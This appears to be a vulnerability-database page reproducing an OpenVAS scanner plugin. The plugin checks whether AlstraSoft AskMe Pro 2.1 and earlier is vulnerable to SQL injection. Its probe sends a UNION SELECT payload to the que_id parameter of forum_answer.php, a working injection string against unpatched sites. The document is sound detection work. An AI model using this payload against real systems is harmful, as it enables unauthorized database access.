Lucene search

K
openvasCopyright (C) 2010 Greenbone AGOPENVAS:1361412562310100800
HistorySep 14, 2010 - 12:00 a.m.

AlstraSoft AskMe Pro <= 2.1 Multiple SQLi Vulnerabilities - Active Check

2010-09-1400:00:00
Copyright (C) 2010 Greenbone AG
plugins.openvas.org
43

7.7 High

AI Score

Confidence

Low

0.001 Low

EPSS

Percentile

41.6%

AlstraSoft AskMe Pro is prone to multiple SQL injection (SQLi)
vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in
an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify
data, or exploit latent vulnerabilities in the underlying database.

All versions up to and including AlstraSoft AskMe Pro 2.1 are vulnerable.

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100800");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2010-09-14 15:16:41 +0200 (Tue, 14 Sep 2010)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_cve_id("CVE-2008-2902");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("AlstraSoft AskMe Pro <= 2.1 Multiple SQLi Vulnerabilities - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"AlstraSoft AskMe Pro is prone to multiple SQL injection (SQLi)
  vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in
  an SQL query.

  Exploiting these issues could allow an attacker to compromise the application, access or modify
  data, or exploit latent vulnerabilities in the underlying database.

  All versions up to and including AlstraSoft AskMe Pro 2.1 are vulnerable.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General
  solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("port_service_func.inc");

port = http_get_port(default: 80);

if (!http_can_host_php(port: port))
  exit(0);

foreach dir (make_list_unique("/", "/ask", http_cgi_dirs(port: port))) {
  if (dir == "/")
    dir = "";

  res = http_get_cache(port: port, item: dir + "/forum_answer.php");
  if (res !~ "^HTTP/1\.[01] 200")
    continue;

  url = dir + "/forum_answer.php?que_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,0x53514c2d496e6a656374696f6e2d54657374,6,7,8,9,10/**/FROM/**/expert/*";

  if (http_vuln_check(port: port,url: url,pattern: "SQL-Injection-Test")) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);

7.7 High

AI Score

Confidence

Low

0.001 Low

EPSS

Percentile

41.6%

Related for OPENVAS:1361412562310100800